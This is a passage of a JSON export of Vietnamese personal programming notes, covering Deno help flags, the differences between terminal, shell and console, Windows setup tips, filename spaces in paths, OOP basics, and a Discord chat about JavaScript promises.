"Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "V_" + }, + { + "Tiêu đề": "Subcomand không có gạch (VD: `deno help`). Flag có gạch (VD: `deno --help`)", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/Subcomand không có gạch. Flag có gạch", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```shell\r\n# Using the subcommand.\r\ndeno help\r\n\r\n# Using the short flag -- outputs the same as above.\r\ndeno -h\r\n\r\n# Using the long flag -- outputs more detailed help text where available.\r\ndeno --help\r\n```\r\n`=this.share`", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "W0" + }, + { + "Tiêu đề": "Terminal là cái chương trình để làm việc với shell", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/Terminal là cái chương trình để làm việc với shell", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Hãy tưởng tượng ta có một thế giới đằng sau một tấm gương thần. Thế giới đằng sau tấm gương là cái lõi của hệ điều hành. Terminal là cái tấm gương. Ngôn ngữ ta dùng để giao tiếp với gương là command line. Shell là cái phần mềm của gương, là thứ khiến cho nó khác với những tấm gương bình thường. Nó có nhiệm vụ dịch và vận chuyển thông điệp của ta với cái thế giới đằng sau nó và ngược lại\r\n![](https://thumbs.dreamstime.com/b/magic-portal-green-plants-fantasy-fern-ivy-night-79779455.jpg) \r\n\r\n[[Shell là cái vỏ bảo vệ lõi của hệ điều hành]]. [[Terminal, console, shell và command line thường được dùng lẫn lộn với nhau]]\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "W1" + }, + { + "Tiêu đề": "Terminal, console, shell và command line thường được dùng lẫn lộn với nhau", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Terminal, shell, console/Terminal, console, shell và command line thường được dùng lẫn lộn với nhau", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Shell là cái vỏ bảo vệ lõi của hệ điều hành]]. [[Terminal là cái chương trình để làm việc với shell]]\r\n\r\n![](https://thumbs.dreamstime.com/b/magic-portal-green-plants-fantasy-fern-ivy-night-79779455.jpg) \r\n\r\nThế giới đằng sau tấm gương là cái lõi của hệ điều hành. Terminal là cái tấm gương. Ngôn ngữ ta dùng để giao tiếp với gương là command line. Shell là cái phần mềm của gương, có nhiệm vụ dịch và vận chuyển thông điệp của ta với cái thế giới đằng sau nó và ngược lại\r\n\r\n![](https://devblogs.microsoft.com/commandline/wp-content/uploads/sites/33/2019/05/terminalarchitecture.png) \r\n\r\n\r\n[**Terminal**] (https://www.geeksforgeeks.org/kali-linux-terminal-and-shell/) **:** \r\nA terminal is a text input and output environment. A terminal window, also known as a terminal emulator, is a text-only window that emulates a console in a graphical user interface (GUI). In other words, a graphical user interface application from which we can access a user’s console. A terminal is a program that allows you to run a shell. Is a device with a human-readable display that accepts a stream of characters and displays them. Only chars are making their way there. They’re commonly used in networking and device debug interfaces.\r\n\r\n**Console :**  \r\nA console is a physical terminal; an instrument panel containing computer controls. A console is a type of terminal. Is a window in which your text-mode programs are active. This window recognizes key presses and is aware of its width and height. A full-screen mode is an option.\r\n\r\n**Shell :** \r\n[[Shell là cái vỏ bảo vệ lõi của hệ điều hành]]\r\nShell stands for the command-line interpreter. A shell is a program that processes commands and outputs the results. A shell is a layer that sits on top of the kernel: 1) It interprets and processes the commands entered by the user. Unlike users, the shell has access to the kernel. Users can only gain access to the kernel by using a shell and entering commands (i.e. running programs). System calls are used by programs to gain access to kernel functionality. The system API is made up of all system calls.\r\n\r\n[**Command-Line**](https://www.geeksforgeeks.org/command-line-arguments-in-c-cpp/) **:**  \r\nA command line is an area to the right of the command prompt on an all-text display mode computer monitor (typically a CRT or LCD panel) where a user enters commands and data. This is the line where you type commands. It is typically used to indicate that you must run something in the text mode window (command line interface) provided by your operating system.\r\n\r\n**Difference between Terminal, Console, Shell, and Command Line :** \r\nThe table below illustrates the distinctions between Terminal, Console, Shell, and Command Line:\r\n\r\n|**Sr. No.**|**Terminal**|**Console**|**Shell**|**Command-line**|\r\n|---|---|---|---|---|\r\n|1|A terminal is a text input and output environment.|A physical terminal is referred to as a console.|The shell is a command-line interpreter.|A command line, also known as a command prompt, is a type of interface.|\r\n|2|A terminal is a wrapper program that runs a shell and allows us to enter commands.|The console is a type of terminal. It is a window in which your text-mode programs are active.|The shell is the program that actually processes commands and outputs results.|A command-line interface is any type of interface that is used to enter (textual) commands. One of these is the terminal, but some programs have their own command-line interfaces.|\r\n|3|The terminal is a program that displays a graphical interface and allows you to interact with the shell.|The console consisted of a single keyboard and monitor plugged into a dedicated serial console port on a computer for low-level direct communication with the operating system.|A shell is a user interface for accessing the services of an operating system.|A command-line interface (CLI) is a computer program that processes commands in the form of lines of text. The user typically interacts with the shell via a command-line interface (CLI).|\r\n|4|The term terminal can also refer to a device that allows users to interact with computers, typically via a keyboard and display.|A console is a physical terminal that is the primary terminal that is directly connected to a machine. The console is recognized by the operating system as a (kernel-implemented) terminal.|A shell is a primary interface that users see when they log in, and its primary function is to launch other programs.|A command line is an interface that allows a user to type a command (which is expressed as a sequence of characters — typically a command name followed by some parameters) and then press the Return key to execute that command.|\r\n|5|Some types of terminal emulators include:<br><br>- Command prompt<br>- guake<br>- gnome-terminal<br>- terminator|For example, Famicom, Xbox, PlayStation, Nintendo Switch, Wii, and Wii U, etc. are all examples of consoles.|Some examples of shells are:<br><br>- Bash, fish, zsh, ksh, sh, tsch<br>- Power Shell, pwsh<br>- cmd, yori, 4dos, command.com|Some examples of Command-line interface are:<br><br>- Microsoft Windows,<br>- DOS Shell, and<br>- Mouse Systems Power Panel.|\r\n\r\nNguồn:: [Difference between Terminal, Console, Shell, and Command Line - GeeksforGeeks](https://www.geeksforgeeks.org/difference-between-terminal-console-shell-and-command-line/)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "W2" + }, + { + "Tiêu đề": "Cài win mới", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Windows/Cài win mới", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "# PowerShell\r\n\r\n## Permit PowerShell to run local scripts\r\n\r\n```\r\nSet-ExecutionPolicy -ExecutionPolicy RemoteSigned\r\n```\r\n\r\n\"C:\\Program Files\\PowerShell\\7\\pwsh.exe\" D:\\Dropbox\\Config\\Startup.ps1\r\n\r\n## Make sure a script runs with full admin privileges\r\n```\r\nparam([switch]$Elevated)\r\nfunction Test-Admin {\r\n    $currentUser = New-Object Security.Principal.WindowsPrincipal $([Security.Principal.WindowsIdentity]::GetCurrent())\r\n    $currentUser.IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)\r\n\r\n}\r\n\r\nif ((Test-Admin) -eq $false)  {\r\n    if ($elevated) {\r\n        # tried to elevate, did not work, aborting\r\n    } else {\r\n        Start-Process powershell.exe -Verb RunAs -ArgumentList ('-noprofile -noexit -file \"{0}\" -elevated' -f ($myinvocation.MyCommand.Definition))\r\n\r\n    }\r\n    exit\r\n}\r\n## Running with full privileges\r\n```\r\n\r\n# Run\r\n\r\ncontrol userpasswords2\r\n\r\n# Turn off Defender\r\n\r\n- Search for gpedit.msc and click the top result to open the Local Group Policy Editor.\r\n- Browse the following path: \r\n Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus\r\n\r\n# Fix boot problem\r\n```\r\nbootsect/nt60 sys\r\nbootrec /fixmbr\r\nbootrec /fixboot\r\n```\r\n\r\n![How To Fix Bootrec /fixboot Access is Denied During Fix Boot Configuration (2 Fixes )](https://www.youtube.com/watch?reload=9&v=lRCyb7FzWFY)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "W3" + }, + { + "Tiêu đề": "Local app data", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Windows/Local app data", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn::\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "W4" + }, + { + "Tiêu đề": "Windows rất lằng nhằng trong việc thiết lập cấu hình", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Windows/Windows rất lằng nhằng trong việc thiết lập cấu hình", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Với sự phát triển của Docker cũng như các công cụ đóng gói container khác, giờ đây việc sử dụng hệ điều hành gì không còn là vấn đề gì quá lớn. Container là một môi trường đóng gói độc lập, như một máy ảo chạy tách biệt khỏi hệ điều hành mà máy sử dụng, nên dù dùng Windows, Linux hay MacOS cũng không thành vấn đề nữa.\r\n\r\nĐặc biệt là VSCode đã hỗ trợ remote container, cho phép code và chạy trực tiếp trong container luôn, vừa tiện lợi, lại có được sự thống nhất cho tất cả mọi người. Thực ra các editor khác cũng làm được như thế, nhưng vì không hỗ trợ sẵn, nên người dùng phải làm thủ công hơn rất nhiều (mount code vào container, dùng terminal truy cập container để chạy lệnh) nên không tiện bằng.\r\n\r\nNguồn:: [Giới thiệu | manhhomienbienthuy](https://manhhomienbienthuy.github.io/pages/gioi-thieu.html)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "W5" + }, + { + "Tiêu đề": "Cách các đường dẫn ở những nơi khác nhau xử lý dấu cách và ký tự phi ASCII", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Đường dẫn/Cách các đường dẫn ở những nơi khác nhau xử lý dấu cách và ký tự phi ASCII", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "| | Cho dùng dấu cách | Ký tự `%` | Các ký tự phi ASCII |\r\n| --------------------------- | ----------------- | --------- | ------------------- |\r\n| Markdown | ❌ | | ✔ |\r\n| YAML | ❌ | | ✔ |\r\n| URL | ✔ | ❌ | ✔ |\r\n| Domain | ✔ | | ✔ |\r\n| Thuộc tính `src` trong HMTL | ✔ | | ✔ |\r\n| Query | ❌ | | ✔ |\r\n| Windows path | ✔ | ✔ | ✔ |\r\n| Linux path | ✔ | | ✔ |\r\n| Mac path | ✔ | | ✔ |\r\n| Docker | ❌ | | ❌ |\r\n\r\nNên tránh dùng ký tự `%` trong tên tập tin, nhất là nếu sau này sẽ biến thành web. Vì dấu này chính là dấu để encode, nên không như những ký tự khác, khi decode sẽ gặp lỗi\r\n[What is the difference between decodeURIComponent and decodeURI?](https://stackoverflow.com/q/747641/3416774)\r\n[[Sự khác biệt giữa Windows và Android, Mac trong tên file]]\r\n\r\n[[Các ký tự ASCII có 1 điểm mã]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T13:38:00.000Z", + "id": "W6" + }, + { + "Tiêu đề": "Những chương trình cũ sẽ dễ gặp vấn đề về dấu cách hơn những chương trình mới", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Đường dẫn/Những chương trình cũ sẽ dễ gặp vấn đề về dấu cách hơn những chương trình mới", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Chương trình mới thì dấu cách có thể chỉ hơi phiền. Nhưng những chương trình cũ thì có thể sẽ gặp lỗi. Hoặc có thể chương trình đó không cũ, nhưng nó phải được phục vụ cho cho những chương trình cũ. VD: Docker, Git\r\n\r\nNguồn:: [Is having a space in note names bad? : r/ObsidianMD](https://www.reddit.com/r/ObsidianMD/comments/1eouwak/comment/lhhm55i/?utm_source=share&utm_medium=mweb3x&utm_name=mweb3xcss&utm_term=1&utm_content=share_button)\r\n\r\n[[Việc có khoảng trắng trong tên file sẽ khiến việc xử lý code phức tạp hơn]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T13:38:00.000Z", + "id": "W7" + }, + { + "Tiêu đề": "Tên mô đun Python sẽ được dùng làm identifier. Identifier không được có dấu cách", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Đường dẫn/Tên mô đun Python sẽ được dùng làm identifier. Identifier không được có dấu cách", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "You should take the spaces out of the filename. Because the filename is used as the identifier for imported modules (i.e. `foo.py` will be imported as `foo`) and Python identifiers can't have spaces, this isn't supported by the `import` statement.\r\n\r\nIf you _really_ need to do this for some reason, you can use the `__import__` function:\r\n\r\n```python\r\nfoo_bar = __import__(\"foo bar\")\r\n```\r\n\r\nThis will import `foo bar.py` as `foo_bar`. This behaves a little bit different than the `import` statement and you should avoid it.\r\n\r\nNguồn:: [How do you import a file in python with spaces in the name? (duplicate)](https://stackoverflow.com/a/9123555/3416774)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-25T13:38:00.000Z", + "id": "W8" + }, + { + "Tiêu đề": "Under the hood, hệ điều hành và trình duyệt chỉ sử dụng đường dẫn ASCII", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Đường dẫn/Under the hood, hệ điều hành và trình duyệt chỉ sử dụng đường dẫn ASCII", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "> Once upon a time, you could **only** use ascii, even in typing or viewing urls. Then unicode was invented and, as time went on, various user/machine translation layers were built. It takes effort to make such a translation layer. VS Code doesn't have such a translation layer and probably won't. What it does have is a powerful extension interface.\r\n\r\nTrích từ:: [[Stack Overflow]], [javascript - Modules' names contain unicode characters. How to have them not encoded in suggestion? - Stack Overflow](https://stackoverflow.com/questions/76764132/modules-names-contain-unicode-characters-how-to-have-them-not-encoded-in-sugge?noredirect=1#comment135339409_76764132)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-25T13:38:00.000Z", + "id": "W9" + }, + { + "Tiêu đề": "Việc có khoảng trắng trong tên file sẽ khiến việc xử lý code phức tạp hơn", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Hệ điều hành, path và terminal/Đường dẫn/Việc có khoảng trắng trong tên file sẽ khiến việc xử lý code phức tạp hơn", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Điều này dễ thấy nhất khi tên file có ở trong biến. Ví dụ, thay vì có thể viết `foo $filename`, ta phải viết `foo \"$filename\"`. Vì nhỡ `$filename` có khoảng trắng thì \r\n\r\nKhi viết code thì tốt nhất dùng dạng raw. Ví dụ:\r\n```js\r\nconst cmd = new Deno.Command(\"deno\", { args: [\"run\", \"--allow-all\", \"--allow-run\", String.raw`${filename}`, câuNhập, '--json-debug'] });\r\n```\r\n\r\nTrong việc xử lý URL, dấu cách sẽ được chuyển sang `%20`. Nếu sau dấu cách có ký tự số thì sẽ dễ gây hiểu lầm: `ảnh 1.jpg` → `ảnh%201.jpg`.\r\n\r\nNếu code HTTP không xử lý tốt thì khi người dùng tải `Danh sách.pdf` thì thứ họ nhận được là file `Danh`. Họ phải thêm đuôi `.pdf` thủ công.\r\n\r\nDocker và Git bắt phải dùng ký tự ASCII và không có khoảng trắng\r\n\r\n[[Tên mô đun Python sẽ được dùng làm identifier. Identifier không được có dấu cách]]\r\n\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-12T06:33:00.000Z", + "Ngày cập nhật": "2024-08-25T13:38:00.000Z", + "id": "WA" + }, + { + "Tiêu đề": "Compile time là lúc chuyển từ ngôn ngữ lập trình mà người hiểu sang ngôn ngữ máy chỉ có máy mới hiểu. Runtime là lúc máy chạy mã máy", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Compile time là lúc chuyển từ ngôn ngữ lập trình mà người hiểu sang ngôn ngữ máy chỉ có máy mới hiểu. Runtime là lúc máy chạy mã máy", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "![Compile Time vs. Runtime - YouTube](https://www.youtube.com/watch?v=AxgXCUxPIf8)\r\n\r\nThường mọi người dùng compile time đồng nghĩa với developing time", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WB" + }, + { + "Tiêu đề": "Khái niệm cơ bản và nguyên lý lập trình", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[2]\r\n```\r\n![객체지향 프로그래밍? 문과도 이해쌉가능. 10분컷. - YouTube](https://youtu.be/cg1xvFy1JQQ)\r\n![Fetching Title#qvdn](https://youtu.be/pTB0EiLXUC8)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WC" + }, + { + "Tiêu đề": "4 đặc điểm của lập trình hướng vật thể", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/4 đặc điểm của lập trình hướng vật thể", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "- Tính trừu tượng (abstraction)\r\n- [[Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó|Tính đóng gói (encapsulation)]] và che giấu dữ liệu (data hiding) \r\n- Tính đa hình (polymorphism) \r\n- Tính kế thừa (inheritance) \r\n\r\nNguồn:: [Lập Trình Hướng Đối Tượng Là Gì?](https://blog.luyencode.net/lap-trinh-huong-doi-tuong-cpp/)\r\n\r\n[[Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể]]\r\n[Separation of concerns - Wikipedia](https://en.wikipedia.org/wiki/Separation_of_concerns)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WD" + }, + { + "Tiêu đề": "Biểu thức (expression) là những thứ trả lại một giá trị nào đó", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Biểu thức (expression) là những thứ trả lại một giá trị nào đó", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [Ternary operators in JavaScript without an \"else\"](https://stackoverflow.com/a/2933472/3416774)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WE" + }, + { + "Tiêu đề": "Hoạt động trung tâm của lập trình hướng vật thể là phân loại", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hoạt động trung tâm của lập trình hướng vật thể là phân loại", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Classifying is a central activity in object-oriented programming and distinguishes it from procedural programming. Traditional logic, initiated by Aristotle, assigns classification to our first activity in reasoning, whereby we come to know what a thing is. Such a grasp of the thing's whatness is the foundation for all further reasoning about it.\r\n\r\nNguồn:: [Is there any philosophical theory behind the concept of object in computer science?](https://philosophy.stackexchange.com/a/99671/19487)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WF" + }, + { + "Tiêu đề": "Giao diện là cái khuôn của phương thức", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/Giao diện là cái khuôn của phương thức", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Giao diện (interface) là tập hợp tất cả các phương thức **chung** của **nhiều** lớp **liên quan với nhau**. Nó giống như [[Lớp là một cái khuôn để tạo các vật thể cho nhanh|lớp]] nhưng mà không phải cho vật thể mà là cho phương thức của vật thể\r\n\r\n[[API là giao diện của một chương trình]] \r\n[[Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WG" + }, + { + "Tiêu đề": "Hàm cần gọi phải ở trong then", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/Hàm cần gọi phải ở trong then", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Tại sao khi gọi async function thì lại để console.log() trong then chứ không để ở ngoài được nhỉ? Phải là:\n```js\nasyncFunction(arg).then((result) => { console.log(result) })\n```\n\nChứ không thể là:\n\n```js\nconst a = asyncFunction(arg).then((result) => { result }) console.log(a)\n```\n\nduydang\n\nở ngoài thì log ra Promise, ở trong then thì log ra kết quả của Promise\n\ntại async function lúc tạo ra nó là nó đẩy vào 1 cái asyncqueue thôi\n`asyncFunction(arg)` là đẩy `asyncFunction(arg)` vào cái asyncQ, xong chạy tiếp các code bên dưới, vd ở đây là `console.log(a)`\n\n\n`a` lúc này là null vì `asyncFunction(arg)` chưa chạy xong\n\n\nsau khi `asyncFunction(arg)` thì `a` mới được gán = result, lúc này console.log(a) đã chạy rồi\n- asyncFunction(arg) -> đẩy vào asyncQ\n- chạy tiếp console.log(a) // in ra object rỗng hay null gì đấy\n- asyncFunction(arg) chạy xong, gán a = 1 object mới là result, object a cũ được log trong console vẫn là null\n\nNếu để console.log() ở trong then thì\n\n- asyncFunction(arg) đẩy vào asyncQ\n- chờ asyncFunction(arg) chạy xong, chạy .then: gọi console.log(result)\n\ncode của main loop js thì có thể là như thế này:\n\n```js\nwhile (1) { chạy 1 vài lệnh trong main loop nếu asyncQ có việc, pop 1 việc ra chạy việc đó }\n```\n\nthì cái code kia nó chạy là\n\n```js\nwhile (1) { const a = asyncFunction(arg).then((result) => { result }); console.log(a); }\n```\n\nthì nó chạy theo kiểu\n\n`- vòng lặp thứ 1: - đẩy asyncFunction(arg) vào asyncQ - console.log(a) - vòng lặp thứ 2: - asyncQ có việc, pop ra là asyncFunction(arg) - chạy asyncFunction(arg) - chạy xong gọi tiếp .then: - gán a = result`\n\nnếu 1 hàm có liên quan tới internet download gì đó thì nó sẽ đẩy lệnh download/upload đó vào 1 cái queue khác là networkQ gì đấy, cái networkQ này là 1 threadpool thật. Còn asyncQ chỉ là 1 cái queue thuần túy thôi thì phải\n\nJS có đa luồng ở networkQ, nhưng ko có đa luồng ở asyncQ \n\nJS khác với các ngôn ngữ khác chỉ chạy 1 lần rồi tắt thì JS nó chạy suốt thời gian tồn tại của 1 tab trong browser nên nó xài 1 cái loop vô tận (tới khi tắt tab) gọi là event loop :V\n\n\n[https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop \"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop\")\n\n\n`a` lúc này là null vì `asyncFunction(arg)` chưa chạy xong\n\n\nnếu code vậy thì giá trị của `a` là `Promise` mà chứ đâu null nhỉ anh\n\n\n\ntoy cũng ko chắc :V biết sơ sơ à :V console log nó in ra gì\n\n\nin ra promise thì a là promise thôi \n\n\nchắc là null chớ \n\nNguồn:: [Discord](https://discord.com/channels/420246254254030856/420547926146678785/1143149285387550822)\n\nTại sao khi gọi async function thì lại để console.log() trong then chứ không để ở ngoài được nhỉ? Phải là:\n```js\nasyncFunction(arg).then((result) => { console.log(result) })\n```\n\nChứ không thể là:\n\n```js\nconst a = asyncFunction(arg).then((result) => { result }) console.log(a)\n```\n\nduydang\n\nở ngoài thì log ra Promise, ở trong then thì log ra kết quả của Promise\n\ntại async function lúc tạo ra nó là nó đẩy vào 1 cái asyncqueue thôi\n`asyncFunction(arg)` là đẩy `asyncFunction(arg)` vào cái asyncQ, xong chạy tiếp các code bên dưới, vd ở đây là `console.log(a)`\n\n\n`a` lúc này là null vì `asyncFunction(arg)` chưa chạy xong\n\n\nsau khi `asyncFunction(arg)` thì `a` mới được gán = result, lúc này console.log(a) đã chạy rồi\n- asyncFunction(arg) -> đẩy vào asyncQ\n- chạy tiếp console.log(a) // in ra object rỗng hay null gì đấy\n- asyncFunction(arg) chạy xong, gán a = 1 object mới là result, object a cũ được log trong console vẫn là null\n\nNếu để console.log() ở trong then thì\n\n- asyncFunction(arg) đẩy vào asyncQ\n- chờ asyncFunction(arg) chạy xong, chạy .then: gọi console.log(result)\n\ncode của main loop js thì có thể là như thế này:\n\n```js\nwhile (1) { chạy 1 vài lệnh trong main loop nếu asyncQ có việc, pop 1 việc ra chạy việc đó }\n```\n\nthì cái code kia nó chạy là\n\n```js\nwhile (1) { const a = asyncFunction(arg).then((result) => { result }); console.log(a); }\n```\n\nthì nó chạy theo kiểu\n\n`- vòng lặp thứ 1: - đẩy asyncFunction(arg) vào asyncQ - console.log(a) - vòng lặp thứ 2: - asyncQ có việc, pop ra là asyncFunction(arg) - chạy asyncFunction(arg) - chạy xong gọi tiếp .then: - gán a = result`\n\nnếu 1 hàm có liên quan tới internet download gì đó thì nó sẽ đẩy lệnh download/upload đó vào 1 cái queue khác là networkQ gì đấy, cái networkQ này là 1 threadpool thật. Còn asyncQ chỉ là 1 cái queue thuần túy thôi thì phải\n\nJS có đa luồng ở networkQ, nhưng ko có đa luồng ở asyncQ \n\nJS khác với các ngôn ngữ khác chỉ chạy 1 lần rồi tắt thì JS nó chạy suốt thời gian tồn tại của 1 tab trong browser nên nó xài 1 cái loop vô tận (tới khi tắt tab) gọi là event loop :V\n\n\n[https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop \"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Event_loop\")\n\n\n`a` lúc này là null vì `asyncFunction(arg)` 